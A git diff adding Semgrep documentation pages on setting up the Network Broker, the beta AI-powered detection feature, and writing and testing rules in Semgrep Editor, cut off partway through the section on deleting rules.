+---
+title: "Findings in CI"
+description: "When running any Semgrep product in CI, Semgrep is able to track the lifetime of an individual finding. When configured to perform a diff-aware scan, Semgrep only shows new findings relative to some specified baseline commit."
+---
+
+import FindingsCi from "/snippets/semgrep-ci/findings-ci.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-ci/network-broker.mdx b/mintlify-docs/semgrep-ci/network-broker.mdx
new file mode 100644
index 0000000000..2865cf14cd
--- /dev/null
+++ b/mintlify-docs/semgrep-ci/network-broker.mdx
@@ -0,0 +1,415 @@
+---
+title: "Set up the Semgrep Network Broker"
+sidebarTitle: "Semgrep Network Broker"
+description: "The Semgrep Network Broker facilitates secure access between Semgrep and your private network. The Network Broker creates a WireGuard VPN tunnel to the Semgrep backend and proxies **inbound** HTTP requests from Semgrep to the customer through the tunnel. This allows Semgrep to communicate with private network resources like a Source Code Manager (SCM) without exposing them to the public internet."
+---
+
+
+
+
+
+
+Examples of inbound traffic include:
+
+- [Pull request comments](/category/pr-or-mr-comments)
+- Code access for [Semgrep Managed Scans](/deployment/managed-scanning/overview) if enabled
+- [Webhooks](/semgrep-appsec-platform/webhooks)
+
+## Feature Availability
+
+**TIER AVAILABILITY**
+
+The Semgrep Network Broker is available to Enterprise tier users.
+
+
+The Semgrep Network Broker is a feature that must be enabled in your Semgrep organization before setup. It is only available to paying customers. Contact the [Semgrep support team](/support) to discuss having it enabled for your organization.
+
+If you will be using the Network Broker with a dedicated Semgrep tenant, please note that in your request.
+
+## Deployment
+The Network Broker can be run as a bare Docker container, in a Kubernetes cluster, or simply as a standalone binary on a machine.
+
+Only one instance of the WireGuard-based Network Broker can be run at any time. Multiple brokers with the same configuration can cause disconnects, instability, and package loss.
+
+### System Requirements
+- CPU: 1
+- RAM: 512 MB
+
+### Network Requirements
+- Between Semgrep and Broker:
+ - Allow traffic from `wireguard.semgrep.dev` on UDP port 51820. If you are on a dedicated Semgrep tenant, allow traffic from `wireguard..semgrep.dev` instead.
+ - If using the `--deployment-id` CLI flag, allow outbound to `semgrep.dev` on TCP port 443 for HTTPS.
+- Between Broker and each private network resource, enable outbound on TCP ports 80 and 443 for HTTP/HTTPS communication.
+
+
+**DETERMINING IP ADDRESSES**
+
+To determine the IP addresses for a domain, use dig. The addresses are listed under the ANSWER section. Example: `dig wireguard.semgrep.dev`
+
+
+### Artifacts
+You can choose between deploying pre-made artifacts or building your own.
+#### Pre-built by Semgrep
+- Docker images are available from [ghcr.io/semgrep/semgrep-network-broker](https://github.com/semgrep/semgrep-network-broker/pkgs/container/semgrep-network-broker).
+- A sample [Kubernetes Manifest](https://github.com/semgrep/semgrep-network-broker/blob/develop/kubernetes.yaml) is present within the repository. This should be extended for production.
+
+#### Build Yourself
+See the [Network Broker repository](https://github.com/semgrep/semgrep-network-broker)'s README for instructions on how to build it yourself.
+
+## Configure Semgrep Network Broker
+
+Ensure that you are logged in to the server where you want to run Semgrep Network Broker. Complete the following steps while logged in to that server.
+
+### Create the config file
+
+
+
+
+Create a `config.yaml` file similar to the following snippet, or copy a starting config from the Semgrep AppSec Platform at **Settings > Broker**. The steps required to generate values for the placeholders `SEMGREP_LOCAL_ADDRESS`, `YOUR_PRIVATE_KEY`, and `YOUR_BASE_URL`, as well as the scopes required for the access tokens, are provided in subsequent steps of this guide.
+
+```yaml
+ inbound:
+ wireguard:
+ localAddress: SEMGREP_LOCAL_ADDRESS
+ privateKey: YOUR_PRIVATE_KEY
+ peers:
+ - endpoint: wireguard.semgrep.dev:51820
+ allowlist: []
+ gitlab:
+ baseUrl: YOUR_BASE_URL
+```
+
+
+
+
+
+**NOTE**
+
+Semgrep recommends that users running Network Broker v0.24.0 or earlier to upgrade to v0.25.0 or later. This enables the use of a simplified config file.
+
+
+Create a `config.yaml` file similar to the following snippet, or copy a starting config from the Semgrep AppSec Platform at **Settings > Broker**. The steps required to generate values for the placeholders `SEMGREP_LOCAL_ADDRESS`, `YOUR_PRIVATE_KEY`, and `YOUR_BASE_URL` are provided in subsequent steps of this guide.
+
+```yaml
+ inbound:
+ wireguard:
+ localAddress: SEMGREP_LOCAL_ADDRESS
+ privateKey: YOUR_PRIVATE_KEY
+ peers:
+ - publicKey: 4EqJwDZ8X/qXB5u3Wpo2cxnKlysec93uhRvGWPix0lg=
+ endpoint: wireguard.semgrep.dev:51820
+ allowedIps: fdf0:59dc:33cf:9be9:0000:0000:0000:0001/128
+ heartbeat:
+ url: http://[fdf0:59dc:33cf:9be9:0000:0000:0000:0001]/ping
+ allowlist: []
+ gitlab:
+ baseUrl: YOUR_BASE_URL
+```
+
+The `publicKey` value should be entered precisely as shown in the example:
+
+```bash
+4EqJwDZ8X/qXB5u3Wpo2cxnKlysec93uhRvGWPix0lg=
+```
+
+
+
+
+#### Multiple configuration files
+You can overlay multiple configuration files on top of each other by passing multiple `-c` arguments:
+
+```bash
+semgrep-network-broker -c config1.yaml -c config2.yaml -c config3.yaml
+```
+
+Note that arrays are replaced, while maps are merged.
+
+### Generate a keypair
+
+The broker requires a WireGuard keypair to establish a secure connection. To generate your private key to replace `YOUR_PRIVATE_KEY` in the config template:
+
+
+
+Determine the [Network Broker version](https://github.com/semgrep/semgrep-network-broker/pkgs/container/semgrep-network-broker) you want to use. The format should be similar to `v0.22.0`. Most users should use the latest version, especially when setting up the broker for the first time.
+
+
+Run the following command in the CLI to generate your private key, replacing the placeholder with the Network Broker version number:
+
+ ```bash
+ docker run ghcr.io/semgrep/semgrep-network-broker:VERSION_NUMBER genkey
+ ```
+
+
+
+Run the following command in the CLI to generate your public key, replacing the placeholders with your private key generated in the previous step and the Network Broker version number:
+
+ ```bash
+ echo "YOUR_PRIVATE_KEY" | sudo docker run -i ghcr.io/semgrep/semgrep-network-broker:VERSION_NUMBER pubkey
+ ```
+
+
+ Your public key is safe to share. Do **not** share your private key with anyone, including Semgrep.
+
+
+
+
+### Update the config with the keypair
+
+
+
+Update the `config.yaml` file by replacing `YOUR_PRIVATE_KEY` with the value of your private key.
+
+
+Add your public key to the Semgrep AppSec Platform:
+
+ i. Log in to Semgrep AppSec Platform.
+
+ ii. Navigate to **Settings > Broker**.
+
+ iii. Paste your public key and click **Add Public Key**.
+
+
+
+### Update the config with your SCM information
+
+Update the `config.yaml` by replacing the SCM information containing `YOUR_BASE_URL` with your SCM and its base URL for Azure DevOps, GitHub, GitLab, or Bitbucket Data Center.
+
+
+
+
+```yaml
+inbound:
+ azuredevops:
+ baseURL: https://ADO_BASE_URL/*
+```
+
+
+
+
+Bitbucket is compatible with Network Broker versions 0.20.0 and later.
+
+```yaml
+inbound:
+ bitbucket:
+ baseURL: https://BITBUCKET_BASE_URL/rest/api/latest
+```
+
+
+
+
+```yaml
+inbound:
+ github:
+ baseURL: https://GITHUB_BASE_URL/api/v3
+```
+
+
+
+
+```yaml
+inbound:
+ gitlab:
+ baseURL: https://GITLAB_BASE_URL/api/v4
+```
+
+
+
+
+### Add your local address to the config
+
+
+
+Convert your organization ID to hexadecimal. The organization ID is found in Semgrep AppSec Platform under [**Settings > General > Identifiers**](https://semgrep.dev/orgs/-/settings/general/identifiers) in Semgrep AppSec Platform. This is sometimes also called a deployment ID. You can use a tool such as [Decimal to Hexadecimal converter](https://www.rapidtables.com/convert/number/decimal-to-hex.html) to perform the conversion if needed.
+
+
+Embed the resulting hexadecimal value in the string `fdf0:59dc:33cf:9be8:0:ORGANIZATION_ID:0:1`, replacing `ORGANIZATION_ID` with the value.
+
+
+Update the `localAddress` field of `config.yaml`, replacing `SEMGREP_LOCAL_ADDRESS` with the string you generated in Step 2.
+
+ ```yaml
+ inbound:
+ wireguard:
+ localAddress: fdf0:59dc:33cf:9be8:0:ORGANIZATION_ID:0:1
+ ```
+
+
+
+### Start the broker
+
+Run the following command to start Semgrep Network Broker with your completed configuration file:
+
+```bash
+sudo docker run -d -it --rm -v $(pwd):/emt ghcr.io/semgrep/semgrep-network-broker:VERSION_NUMBER -c /emt/config.yaml
+```
+
+## Check Semgrep Network Broker logs
+
+You can check the logs for Semgrep Network Broker by running:
+
+```bash
+sudo docker logs CONTAINER_ID
+```
+
+### Adjusting log verbosity
+
+The Semgrep Network Broker can log details of the proxied requests and responses for troubleshooting. To log additional details, add this snippet to your broker configuration:
+
+
+**PERFORMANCE IMPACT**
+
+Please enable these settings only while working to identify issues. Otherwise, significant memory in the tunnel is used on large request and response bodies.
+
+
+```yaml
+inbound:
+ logging:
+ logRequestBody: true
+ logResponseBody: true
+```
+
+In the logs, this leads to entries for `proxy.request` and `proxy.response`.
+
+These values can also be set on a per-allowlist basis:
+
+```
+inbound:
+ allowlist:
+ - url: https://httpbin.org/*
+ methods: [GET, POST]
+ logRequestBody: true
+ logResponseBody: true
+```
+
+This provides additional flexibility when troubleshooting. See the [broker README](https://github.com/semgrep/semgrep-network-broker?tab=readme-ov-file#logging) for more details.
+
+### Enable verbose WireGuard logging
+
+To troubleshoot connection issues potentially related to the WireGuard configuration, you can enable verbose logging by adding the following snippet to the broker configuration:
+
+```yaml
+inbound:
+ wireguard:
+ verbose: true
+```
+
+## Use Semgrep Network Broker with Managed Scans
+
+Semgrep Managed Scans uses Semgrep Network Broker to connect to your internal source code management instance.
+
+To enable Managed Scans when using Network Broker, ensure that you've updated your SCM information to allow code access:
+
+
+
+
+```yaml
+inbound:
+ azuredevops:
+ baseURL: https://ADO_BASE_URL/*
+ allowCodeAccess: true
+```
+
+
+**ACCESS TOKENS**
+
+Semgrep recommends providing the access token when you [connect the source code manager](/deployment/connect-scm#connect-to-cloud-hosted-orgs) instead of in the Network Broker configuration. However, if you must provide the token in the Network Broker configuration, see [Prerequisites and permissions](/deployment/managed-scanning/azure#prerequisites-and-permissions) for access token requirements.
+
+
+
+
+
+```yaml
+inbound:
+ bitbucket:
+ baseURL: https://BITBUCKET_BASE_URL/rest/api/latest
+ allowCodeAccess: true
+```
+
+
+**ACCESS TOKENS**
+
+Semgrep recommends providing the access token when you [connect the source code manager](/deployment/connect-scm#connect-to-on-premise-orgs-and-projects) instead of in the Network Broker configuration. However, if you must provide the token in the Network Broker configuration, see [Prerequisites and permissions](/deployment/managed-scanning/bitbucket#prerequisites-and-permissions) for access token requirements.
+
+
+
+
+
+```yaml
+inbound:
+ github:
+ baseURL: https://GITHUB_BASE_URL/api/v3
+ allowCodeAccess: true
+```
+
+
+
+
+```yaml
+inbound:
+ gitlab:
+ baseURL: https://GITLAB_BASE_URL/api/v4
+ allowCodeAccess: true
+```
+
+
+
+
+The Semgrep Network Broker supports repository cloning with GitHub when `allowCodeAccess` is `true`, beginning with Network Broker `v0.32.0`. For other source code managers, or earlier Network Broker versions the URL allowlist must include the base URL of your instance in order to clone repositories for scanning from **any** organization or group. For example, if your source code manager is at `https://git.example.com/`, the following allowlist will permit cloning repositories:
+
+```yaml
+inbound:
+ allowlist:
+ # allow GET requests from Semgrep to https://git.example.com/*
+ - url: https://git.example.com/*
+ methods: [GET, POST]
+```
+
+Semgrep also creates and updates [GitHub Checks](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks#checks) when performing Managed Scans on pull requests. If you are running `v0.30.0` or earlier of the Network Broker: to ensure checks can be both created and updated, add the `PATCH` method to the preceding allowlist example, or add a separate entry to allowlist check updates:
+
+```yaml
+inbound:
+ allowlist:
+ # allow PATCH requests to update checks
+ - url: https://git.example.com/api/v3/repos/:owner/:repo/check-runs/:id
+ methods: [GET, POST, PATCH]
+```
+
+In Network Broker `v0.31.0` and later, this URL is part of the default allowlist.
+
+## Run multiple instances of the Semgrep Network Broker
+
+Do not attempt to run multiple instances of the Semgrep Network Broker to increase availability. Running multiple instances can result in contention and is less reliable than running a single instance.
+
+## Allowlist multiple source code managers with one configuration file
+
+It is possible to allow access to multiple source code managers (SCM) within a single configuration file. One entry for a given SCM [uses the SCM-specific key provided in the configuration file](/semgrep-ci/network-broker#update-the-config-with-your-scm-information), as shown in the following example for a GitHub connection:
+
+```yaml
+inbound:
+ github:
+ baseURL: https://GITHUB_BASE_URL/api/v3
+```
+
+Subsequent entries for the same SCM require you to modify `allowlist` and add specific information needed for the HTTP requests. The following is a sample allowlist for additional GitHub entries:
+
+```yaml
+inbound:
+ allowlist:
+ - url: https://GITHUB_BASE_URL/api/v3/repos/:owner/:repo
+ methods: [GET]
+ setRequestHeaders:
+ Authorization: "Bearer GITHUB_PAT"
+ - url: https://GITHUB_BASE_URL/api/v3/repos/:owner/:repo/pulls
+ methods: [GET]
+ setRequestHeaders:
+ Authorization: "Bearer GITHUB_PAT"
+ - url: https://GITHUB_BASE_URL/api/v3/repos/:owner/:repo/pulls/:number/comments
+ methods: [POST]
+ setRequestHeaders:
+ Authorization: "Bearer GITHUB_PAT"
+ - url: https://GITHUB_BASE_URL/api/v3/:owner/:repo/issues/:number/comments
+ methods: [POST]
+ setRequestHeaders:
+ Authorization: "Bearer GITHUB_PAT"
+ ...
+```
diff --git a/mintlify-docs/semgrep-ci/packages-in-semgrep-docker-1.mdx b/mintlify-docs/semgrep-ci/packages-in-semgrep-docker-1.mdx
new file mode 100644
index 0000000000..0a2921338d
--- /dev/null
+++ b/mintlify-docs/semgrep-ci/packages-in-semgrep-docker-1.mdx
@@ -0,0 +1,8 @@
+---
+title: "Packages in the Semgrep docker image"
+sidebarTitle: "Packages in Semgrep docker"
+---
+
+import PackagesInSemgrepDocker from "/snippets/semgrep-ci/packages-in-semgrep-docker.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-ci/packages-in-semgrep-docker.mdx b/mintlify-docs/semgrep-ci/packages-in-semgrep-docker.mdx
new file mode 100644
index 0000000000..0a2921338d
--- /dev/null
+++ b/mintlify-docs/semgrep-ci/packages-in-semgrep-docker.mdx
@@ -0,0 +1,8 @@
+---
+title: "Packages in the Semgrep docker image"
+sidebarTitle: "Packages in Semgrep docker"
+---
+
+import PackagesInSemgrepDocker from "/snippets/semgrep-ci/packages-in-semgrep-docker.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-ci/sample-ci-configs-1.mdx b/mintlify-docs/semgrep-ci/sample-ci-configs-1.mdx
new file mode 100644
index 0000000000..35bbc1801b
--- /dev/null
+++ b/mintlify-docs/semgrep-ci/sample-ci-configs-1.mdx
@@ -0,0 +1,9 @@
+---
+title: "Sample continuous integration (CI) configurations"
+sidebarTitle: "Sample CI configurations"
+description: "This document provides sample configuration snippets to run Semgrep CI on various continuous integration (CI) providers."
+---
+
+import SampleCiConfigs from "/snippets/semgrep-ci/sample-ci-configs.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-ci/sample-ci-configs.mdx b/mintlify-docs/semgrep-ci/sample-ci-configs.mdx
new file mode 100644
index 0000000000..35bbc1801b
--- /dev/null
+++ b/mintlify-docs/semgrep-ci/sample-ci-configs.mdx
@@ -0,0 +1,9 @@
+---
+title: "Sample continuous integration (CI) configurations"
+sidebarTitle: "Sample CI configurations"
+description: "This document provides sample configuration snippets to run Semgrep CI on various continuous integration (CI) providers."
+---
+
+import SampleCiConfigs from "/snippets/semgrep-ci/sample-ci-configs.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-code/ai-powered-detection-concepts.mdx b/mintlify-docs/semgrep-code/ai-powered-detection-concepts.mdx
new file mode 100644
index 0000000000..7151f0c47f
--- /dev/null
+++ b/mintlify-docs/semgrep-code/ai-powered-detection-concepts.mdx
@@ -0,0 +1,71 @@
+---
+title: "AI-powered detection (beta) overview"
+sidebarTitle: "AI-powered detection"
+---
+
+
+Semgrep’s AI-powered detection combines the precision of static analysis with the contextual reasoning of large language models (LLMs). With AI-powered detection, you can automatically identify complex business logic flaws, such as insecure direct object references (IDORs) and broken authorization.
+
+AI-powered detection is part of [Semgrep Multimodal](/semgrep-multimodal/overview), which uses artificial intelligence (AI) to scan code, triage findings, and provide remediation guidance.
+
+This page covers the kinds of issues AI-powered detection is designed to uncover, known limitations during the beta period, and practical considerations such as scan quotas and data privacy.
+
+For step-by-step instructions on enabling and running an AI-powered scan, see [Scan with AI-powered detection](/deployment/add-ai-to-scans).
+
+## Detection and scope
+
+### IDORs and other business logic flaws
+
+A business logic flaw is any weakness in an application’s design or workflow that makes its legitimate features vulnerable to malicious use. Semgrep’s AI-powered detection focuses on authorization flow gaps that fall outside standard vulnerability categories:
+
+* **IDOR and ownership gaps**: accessing another user’s resource when ownership or tenant checks are missing, misplaced, or only client-side.
+* **Order and sequence mistakes**: state changes or token resets happening after sensitive reads/writes, or actions allowed in the wrong state.
+* **Workflow abuse, or OWASP logic manipulation**: skipping required steps, like shipping before checkout or refunds without a completed purchase.
+
+Traditional Semgrep SAST **can** be configured to catch IDORs. However, because this requires understanding how the app in question handles authorization and database access, it is difficult to write generic rules that detect IDORs across all software applications. With Semgrep’s AI-powered detection, it is now possible to find IDORs and other business logic bugs without the need for extensive custom rule development.
+
+### Determinism of AI-powered detection findings
+
+AI-powered detection findings are inherently non-deterministic. Because AI scans rely on probabilistic reasoning, repeated scans may not always produce identical results. However, Semgrep’s scanning engine helps make them more reliable. As with any automated security finding, you must review scan results carefully.
+
+## Setup, quotas, and integrations
+
+### SCM support and AI providers
+
+AI-powered detection builds on Semgrep's existing integration framework, such as GitHub, GitLab, and Bitbucket.
+
+During beta, you can choose between OpenAI, Anthropic, and Bedrock AI providers.
+
+### Credits required for AI actions
+
+See [Usage and billing](/usage-and-billing/overview#ai-credits) for information about credits required for AI actions.
+
+### Data privacy and finding severity
+
+The data privacy policy is similar to that described in [Data privacy and legal considerations](/semgrep-multimodal/privacy), with a few exceptions.
+
+Currently, all AI findings are assigned the same severity, which is **high**, and don’t have other attributes like confidence.
+
+## Known bugs and limitations
+
+This feature is in beta. Here are some known issues:
+
+**Scan limitations:**
+
+* Only full scans are supported. Diff-aware scanning is currently in development.
+
+**Findings limitations:**
+
+* AI findings are not included in the Reporting/Dashboard.
+* Jira integration doesn’t work for AI findings.
+* Custom rules are not supported for AI-powered detection.
+
+## Troubleshooting and disclaimers
+
+For help with AI-powered detection, contact your organization’s **Semgrep account manager** or **Semgrep [support](/support)**.
+
+Beta program notice:
+
+* No formal uptime guarantees; service is best-effort during beta.
+* Features, performance, and APIs may change without notice. Planned maintenance will be communicated in advance when possible.
+* Any stated Service Level Objective (SLO) is not a commercial Service Level Agreement (SLA) and may be revised as the product evolves.
diff --git a/mintlify-docs/semgrep-code/editor.mdx b/mintlify-docs/semgrep-code/editor.mdx
new file mode 100644
index 0000000000..e84c5e1a4e
--- /dev/null
+++ b/mintlify-docs/semgrep-code/editor.mdx
@@ -0,0 +1,467 @@
+---
+title: " Write rules using Semgrep Editor"
+sidebarTitle: "Write custom rules"
+---
+
+**Semgrep Editor** allows you to write rules, verify their performance through tests, and add them to your organization’s [Policies page](/semgrep-code/policies) to enforce code standards and increase code security.
+
+The Editor is free to use on all subscription tiers.
+
+## Access Semgrep Editor
+
+
+
+Sign in to your [Semgrep AppSec Platform account](https://semgrep.dev/login).
+
+
+Click **Rules > Editor**.
+
+
+Do any of the following steps:
+
+ i. To create a new rule, click on the **(+) plus sign** or **Create new rule** button.
+
+ ii. To open any rule you’ve recently edited, select it from the **Recent** list.
+
+ iii. To view a sample rule, select it from the **Examples** list. The rule renders within the Editor.
+
+ iv. To start a tutorial or read the docs, select it from the **Learn** list. This navigates you away from the Editor.
+
+
+
+## View a rule
+
+Semgrep Editor is composed of three panes and a top menu.
+
+
+**Library**
+View and open rules owned by your organization or available through the [Semgrep Registry](https://semgrep.dev/r).
+
+**Rule editor**
+Enter your rule's YAML in this pane. This pane supports both structure and advanced modes. This pane also contains metadata editing functionality in Structure mode, and match review functionality in Advanced mode.
+
+**Sample code**
+Enter test code in this pane and click **Run** to verify that the rule performs as intended. A matches panel appears after Semgrep runs to display matches and tests.
+
+**Top menu**
+Save, share, and add your rule to one of your policies.
+
+### Group Registry rules
+
+By default, Semgrep Registry rules are grouped by **directory**. Most of these directories correspond to languages. The Library can also be grouped by **rulesets**, which are rules sorted by category, such as security, best practices, and frameworks.
+
+To group by ruleset, right-click on the empty space on the registry's name entry and select **Group by ruleset**.
+
+## Create a rule
+
+To create a rule, click **Create rule** on the splash page or the **(+) sign** next to the Library label.
+
+Semgrep Editor offers two rule-writing modes:
+
+**Structure mode (beta)**
+Structure mode is a hybrid interface that offers guidance for rule writing while supporting additional features the way advanced mode does.
+**Advanced mode**
+Advanced mode provides the minimum required YAML keys for a Semgrep rule. To complete the rule, you must fill in additional keys, such as pattern operators or metadata.
+
+### Write a rule using structure mode (beta)
+
+Structure mode is a UI-based ruled writing editor that guides you through the process of writing a rule.
+
+Structure mode features include:
+
+- **Match badges**: Match badges are visual indicators paired with pattern operators. The match badge shows the number of matches associated with each pattern operator.
+- **Automatic indentation**: When adding a new pattern to a nested operator such as `patterns` or `pattern-either`, the editor automatically indents sub-patterns correctly.
+- **Differentiation between patterns and pattern constraints**: A pattern is one of six different operators that describes zero or more locations in a rule. These include `pattern`, `any`, `all`, `inside`, `regex`, and `not`. You can combine these in prescribed ways, such as `any` and `all`, using range union and intersection, but they still define ranges. Pattern constraints describe Boolean constrains that must be met for a match to occur. If the constraint doesn't hold, then the ranges determined by the pattern operators aren't applicable.
+- **Interoperability with advanced mode**: You can write a rule using structure mode and view or export it in YAML, or you can paste in the YAML for a rule and edit it with structure mode.
+- **Drag and drop**" You can move around the elements of a rule using drag and drop.
+- **Pattern disabling**: You can toggle individual patterns on or off for actions like testing.
+
+To write a **search** rule using structure mode:
+
+
+
+Ensure that you are in **structure** mode.
+
+
+Select your first operator. Options include: `pattern`, `any`, `all`, `inside`, `regex`.
+
+
+Specify the pattern if applicable. Example: `print("...")`.
+
+
+Optional: specify a constraint by clicking on the **filter** icon.
+
+ i. Specify whether the constraint is `focus`, `comparison`, or `metavariable`.
+
+ ii. Provide the pattern for the code for which the constraint should be applied.
+
+
+Select the child operator and specify its pattern, if applicable. You can add as many child elements as you need. These child elements can also have their own constraints.
+
+
+Optional: Expand the **Rule info** panel, and update the following fields:
+
+ i. Rule ID: the name of the rule
+
+ ii. Language: the language of the code for which this rule runs against
+
+ iii. Severity: the severity level of the finding if this rule generates a match
+
+ iv. Message: the message to print with the finding if this rule generates a match
+
+
+Click **Run** or press Ctrl+Enter (⌘+Enter on Mac).
+
+
+
+To write a **taint** rule using structure mode:
+
+
+
+Ensure that you are in **structure** mode. and that you have selected **taint**.
+
+
+Define your **Sources**.
+
+ i. Select your first operator. Options include: `pattern`, `any`, `all`, `inside`, `regex`.
+
+ ii. Specify the pattern if applicable. Example: `print("...")`.
+
+ iii. Optional: specify a constraint by clicking on the **filter** icon.
+
+ a. Specify whether the constraint is `focus`, `comparison`, or `metavariable`.
+
+ b. Provide the pattern for the code for which the constraint should be applied.
+
+
+Define your **Sinks**.
+
+ i. Select your first operator. Options include: `pattern`, `any`, `all`, `inside`, `regex`.
+
+ ii. Specify the pattern if applicable. Example: `print("...")`.
+
+ iii. Optional: specify a constraint by clicking on the **filter** icon.
+
+ a. Specify whether the constraint is `focus`, `comparison`, or `metavariable`.
+
+ b. Provide the pattern for the code for which the constraint should be applied.
+
+
+Add **Sanitizers**.
+
+ i. Select your first operator. Options include: `pattern`, `any`, `all`, `inside`, `regex`.
+
+ ii. Specify the pattern if applicable. Example: `print("...")`.
+
+ iii. Optional: specify a constraint by clicking on the **filter** icon.
+
+ a. Specify whether the constraint is `focus`, `comparison`, or `metavariable`.
+
+ b. Provide the pattern for the code for which the constraint should be applied.
+
+
+Optional: Expand the **Rule info** panel, and update the following fields:
+
+ i. Rule ID: the name of the rule
+
+ ii. Language: the language of the code for which this rule runs against
+
+ iii. Severity: the severity level of the finding if this rule generates a match
+
+ iv. Message: the message to print with the finding if this rule generates a match
+
+
+Click **Run** or press Ctrl+Enter (⌘+Enter on Mac).
+
+
+
+### Write a rule using advanced mode
+
+Advanced mode is a YAML editor that allows you to write rules using [Semgrep syntax](../writing-rules/rule-syntax/).
+
+
+**RULES SYNTAX**
+
+Refer to [Rule syntax](/writing-rules/rule-syntax) for all possible fields and values to create a rule.
+
+To quickly learn Semgrep patterns and syntax, explore the Editor’s library of rules from the **public [Rule Registry](https://semgrep.dev/explore)**. Rules from the Registry can detect OWASP vulnerabilities, best practice violations, and security issues for a wide variety of languages and frameworks. Semgrep Editor enables you to **adapt these rules** for your own organization's use by [forking](#write-a-new-rule-by-forking-an-existing-rule) them.
+
+
+To write a rule in advanced mode:
+
+
+
+Ensure that you are in **advanced** mode.
+
+
+Click the **plus sign** and select a template. The **New rule** template includes the minimum keys required for a Semgrep rule, but there are additional templates that can help you write more complex rules:
+ - **Metavariable-comparison**: demonstrates how to use [the `metavariable-comparison` key](/writing-rules/rule-syntax/#metavariable-comparison)
+ - **Metavariable-pattern**: demonstrates how to use [the `metavariable-pattern` key](/writing-rules/rule-syntax/#metavariable-pattern)
+ - **Dataflow analysis**: demonstrates how to leverage dataflow analysis through [`pattern-sources`](/writing-rules/data-flow/taint-mode/overview#sources), [`pattern-sinks`](/writing-rules/data-flow/taint-mode/overview#sinks), and [`pattern-sanitizers`](/writing-rules/data-flow/taint-mode/overview#sanitizers).
+ - **Dataflow analysis with taint labels**: demonstrates [how to define the sources you want to track and how data must flow](/writing-rules/data-flow/taint-mode/advanced#taint-labels-)
+ - **HTTP validators**: Demonstrates how to write [Semgrep Secrets rules](/semgrep-secrets/rules/) that include [validators](/semgrep-secrets/validators/)
+
+
+Modify the template, adding and changing the keys and values needed to finish your rule.
+
+
+Optional: Click **Metadata** to update and enter additional metadata fields.
+
+
+Click **Run** or press Ctrl+Enter (⌘+Enter on Mac).
+
+
+
+
+**SYNTAX ISSUES**
+
+Semgrep Editor won't save or run your rule if it can't parse the YAML syntax of your rule. Fix any issues indicated by the red annotations before proceeding.
+
+
+## Run and test a rule
+
+After you write a rule, testing it ensures it performs as expected. To test a rule:
+
+
+
+Create at least one **true positive**: a code sample intended to match the rule.
+
+
+Above this potential match, create a comment, followed by a space (` `), followed by `ruleid:RULE_ID` which specifies the rule that should match. In the preceding example, this is `// ruleid:hardcoded-conditional`.
+
+
+Create at least one **true negative**: a code sample intended not to match the rule.
+
+
+Above this non-match, create a comment followed by a space (` `), followed by `ok:RULE_ID`. For example, `// ok:hardcoded-conditional`.
+
+
+Optional: add more code samples with their corresponding annotations.
+
+
+Click **Run**. Semgrep detects the annotations and validates the rule based on your tests.
+
+
+
+In addition to testing for matches, you can test that your rule doesn't match what it shouldn't, preventing false positives. To do so, you can [create comment annotations for intended and unintended findings](/writing-rules/testing-rules/) in **test code**.
+
+Once you've written a rule and created comment annotations, you can run your rule against your comment annotations by clicking **Run**. You can also press Ctrl+Enter (⌘+Enter on Mac).
+
+## Code search (beta)
+
+Code search allows you to test a Semgrep rule by running it against one or more GitHub repositories or projects instead of just a few lines of test code. Its results highlight all instances of matching code in those target repositories, allowing you to see whether your rule works as intended or not. This rapid feedback can help you develop more accurate and effective rules.
+
+The [Semgrep Network Broker](/semgrep-ci/network-broker) does not support code search at this time.
+
+### Prerequisites
+
+* Code search is currently available to all paying customers of Semgrep Code.
+* You must grant Semgrep code access by [installing the private Semgrep GitHub app](#install-the-private-semgrep-github-app-to-enable-code-access) if you would like to run code search against your repositories. Otherwise, you can run code search against public repositories.
+
+#### Install the private Semgrep GitHub app to enable code access
+
+The private app must be installed by a **GitHub organization administrator**. If you are not an admin, an installation link is provided for you to share with your GitHub admin.
+
+
+
+Click ** Settings > Source Code Managers**.
+
+
+Click **Register App**.
+
+
+
+
+
+Follow the steps to install a private GitHub app in your org. Ensure that you enter your exact GitHub organization name and the correct type of GitHub account, typically **Organization**.
+
+
+Click **Register GitHub App**.
+
+
+If you are an admin on the GitHub organization, click **Continue**. Otherwise, share the provided link with your GitHub administrator.
+
+
+
+
+
+Follow the prompts in GitHub to install the private app. Ensure that you grant access to the repositories you want to scan.
+
+
+
+
+**RUNNING INTO A 404?**
+
+If you are brought to a GitHub 404 page, return to your [ GitHub Applications](https://github.com/settings/installations) page.
+
+
+
+**INFO**
+
+Code search currently works with repositories or projects hosted by GitHub.
+
+
+To run your rule against selected repositories or projects:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to **Rules > Editor**, and open up the rule you want to test.
+
+
+In the **code panel** click **live code**.
+
+
+Select the repositories against which you want the rule to run. You can use the search bar to narrow down the list of repositories shown. Semgrep currently supports both public repositories and private repositories available to your Semgrep organization.
+
+
+Optional: If you're running your rule against multiple repositories, select the **Limit to first result per repository** checkbox to see only the first result per repository. This speeds up your search and allows you to receive your results faster.
+
+
+Click **Run** to start the search.
+
+
+When the search completes, you'll see a list of results where the rule generated a finding when run against your codebase. The links, which include filenames and line numbers, take you to GitHub, where you can view and remediate the issue.
+
+
+
+## Set a rule’s visibility and share a rule
+
+Upon saving, a rule’s visibility is **private** by default. A private rule is visible only to members within an organization.
+
+- To share a rule outside your organization, click **Share > Public > Confirm**. If you want to share this specific version of the rule, you can also toggle Permalink. This provides a shortlink to this version of the rule, which will not change if the rule is modified.
+- To share a private rule with those who can access it, click **Share** and copy the **URL link**.
+
+Some older rules in Semgrep AppSec Platform may be **unlisted** rather than private. These rules are marked with an icon without a lock, and can be shared with anyone, including those who cannot access Semgrep AppSec Platform.
+
+To change an unlisted rule’s visibility to private for increased security, click **Share > Private > Confirm**.
+
+## Rename a rule
+
+To rename a rule, enter the new name in the YAML editor’s `id` field. The, save the rule by entering Ctrl+S (⌘+S on Mac) or clicking the **Save** button.
+
+## Delete a rule
+
+To remove a private rule, follow these steps:
+
+
+
